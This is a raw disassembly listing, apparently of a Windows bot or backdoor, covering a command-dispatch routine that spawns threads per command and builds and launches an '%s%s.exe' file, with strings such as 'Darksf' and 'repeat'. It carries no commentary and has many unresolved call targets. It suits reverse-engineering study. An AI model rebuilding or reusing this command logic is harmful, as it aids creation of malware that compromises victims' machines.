		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA14
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A910
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42AA00
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42A890
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A864
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42A824
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7E8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42A7B0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A780
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42A748
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A718
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42A6E0
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset dword_42A674
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A648
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42A610
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5D8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26C0A6Dh
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B4
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A578
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42A53C


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 268024Eh
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A518
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A4FC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aDarksf	; "Darksf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	near ptr 26C0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset dword_42A488
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A440


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26A044Bh


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A41C
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A404
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A39C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42A360
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
